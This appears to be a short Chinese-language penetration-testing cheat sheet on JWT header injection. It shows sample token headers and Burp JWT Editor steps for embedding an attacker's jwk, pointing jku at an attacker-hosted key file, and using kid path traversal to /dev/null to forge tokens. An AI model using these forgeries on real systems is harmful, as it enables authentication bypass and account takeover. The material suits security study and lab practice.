Jwk 参数注入
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}由于配置错误,服务器使用嵌入在 jwk 中的密钥来验证参数
so 用自己的私钥写好 payload, jwt 头嵌入jwk
操作姿势
1、在加载该扩展后,在Burp的主选项卡栏中,转到JWT Editor Keys选项卡。
2、创建一个新的RSA密钥。
3、在消息编辑器中,切换到扩展生成的JSON Web Token选项卡,并以你喜欢的方式修改令牌的载荷。
4、点击Attack按钮,然后选择Embedded JWK。当收到提示时,选择新生成的RSA密钥。
5、发送请求,测试服务器的响应情况。
Jku 参数注入
{
"typ": "JWT",
"alg": "RS256",
"kid": "a7f09b91-288c-4770-9adb-74bec3fc08df",
"jku": "http://x.x.x.x/jku.json"
}服务器由于配置原因,允许从外部网站获取密钥,控制服务器访问 RSA 我们自己已知的密钥
操作姿势
1、JWT Editor 生成 RSA 密钥
2、Copy public key as JWK,在 vps 中存储,开放服务准备接收
3、重放器中 修改 kid 为生成 RSA 中的 kid,添加 jku 到刚刚开放的服务
4、修改 payload,签名,发送请求
kid 参数注入
{
"typ": "JWT",
"alg": "HS256",
"kid": "../../../../../../../../dev/null"
}如果服务器存在多个密钥,会通过 kid 选择密钥,但如果未作白名单、路径遍历的防护,可以让其指向/dev/null,使其为空,对称加密的话加解密的密钥就都为空了
操作姿势
1、JWT Editor 生成 New Symmetric Key,生成,k 字段修改 AA==(空的base64)
2、重放器中 修改 kid 为 ../../../../../../../dev/null
3、修改 payload,签名,发送请求